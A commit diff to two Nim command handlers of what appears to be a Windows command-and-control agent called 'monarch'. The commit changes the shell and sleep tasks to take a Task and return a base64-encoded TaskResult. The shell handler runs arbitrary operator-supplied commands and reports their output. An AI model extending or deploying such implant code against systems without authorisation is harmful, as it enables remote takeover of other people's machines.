Seperated Task and TaskResult types.

agents/monarch/commands/shell.nim

@@ -1,14 +1,24 @@
-import winim, osproc, strutils, strformat
+import winim, osproc, strutils, strformat, base64
 
 import ../types
 
-proc taskShell*(command: seq[string]): tuple[output: TaskResult, status: TaskStatus] = 
+proc taskShell*(task: Task): TaskResult = 
 
-    echo "Executing command: ", command.join(" ")
+    echo "Executing command: ", task.args.join(" ")
 
     try: 
-        let (output, status) = execCmdEx(command.join(" ")) 
-        return (output, Completed) 
+        let (output, status) = execCmdEx(task.args.join(" ")) 
+        return TaskResult(
+            task: task.id, 
+            agent: task.agent, 
+            data: encode(output),
+            status: Completed 
+        )
 
     except CatchableError as err: 
-        return (fmt"An error occured: {err.msg}" & "\n", Failed) 
+        return TaskResult(
+            task: task.id, 
+            agent: task.agent, 
+            data: encode(fmt"An error occured: {err.msg}" & "\n"),
+            status: Failed 
+        )

agents/monarch/commands/sleep.nim

@@ -1,14 +1,24 @@
-import os, strutils, strformat
+import os, strutils, strformat, base64
 
 import ../types
 
-proc taskSleep*(delay: int): tuple[output: TaskResult, status: TaskStatus] = 
+proc taskSleep*(task: Task): TaskResult = 
 
-    echo fmt"Sleeping for {$delay} seconds."
+    echo fmt"Sleeping for {task.args[0]} seconds."
 
     try: 
-        sleep(delay * 1000) 
-        return ("", Completed) 
+        sleep(parseInt(task.args[0]) * 1000) 
+        return TaskResult(
+            task: task.id, 
+            agent: task.agent, 
+            data: encode(""),
+            status: Completed
+        )
 
     except CatchableError as err: 
-        return (fmt"An error occured: {err.msg}" & "\n", Failed) 
+        return TaskResult(
+            task: task.id, 
+            agent: task.agent, 
+            data: encode(fmt"An error occured: {err.msg}" & "\n"),
+            status: Failed 
+        )